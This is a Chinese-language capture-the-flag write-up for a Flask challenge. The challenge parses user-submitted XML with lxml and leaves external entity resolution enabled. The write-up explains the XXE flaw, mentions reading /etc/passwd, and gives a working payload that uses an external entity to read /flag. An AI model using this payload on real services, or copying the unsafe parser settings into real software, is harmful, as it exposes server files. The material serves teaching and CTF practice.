共计1178个字符,预计需要花费3分钟才能阅读完成。
题目
也是 Flask 的题目并且给了源码:
from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/ghctf',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "No System is Safe."
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None
if __name__=="__main__":
app.run(host='0.0.0.0',port=8080)
思路
代码很简洁明了啊,关键点 /ghctf
页面。通过 POST 传给 xml= 某些内容
来访问,然后解析器会将传过去的内容解析成XML,很明显的XXE(XML 外部实体注入漏洞)。
那么什么是 XML 呢?这是一个标记语言,可以用来表示或者标记一类东西,比如下面标记了一个人:
<person>
<name value="xiao ming" />
<age value="13" />
</person>
回到源码上,看这几句话:
root = etree.fromstring(xml, parser)
name = root.find('name').text
return name or None
我们输入的内容被解析成 XML 并记录到参数 root
里,然后在这个 XML 内容里寻找 name
标签的值并且返回。传入 xml=<root><name>xiao ming</name></root>
试试?

返回的 xiao ming
就是我们传入 name
的值。那么我们是不是只要把 name
的值改成我们想要的 flag 就行了呢?
XML是否可以运行某种命令呢?注意到 resolve_entities=True
,允许使用XML 实体。在 这里 可以查询到实体的用法,采用以下标签:
<!ENTITY xxe SYSTEM "http://baidu.com">
相当于读取了 http://baidu.com
给变量 xxe
。除此之外也是支持伪协议的,可以改成file:///etc/passwd
就能读取用户文件了!
题解
POST向 xml
传入以下参数:
<!DOCTYPE x [<!ENTITY flag SYSTEM "file:///flag">]><root><name>&flag;</name></root>
得到 flag 回显:

正文完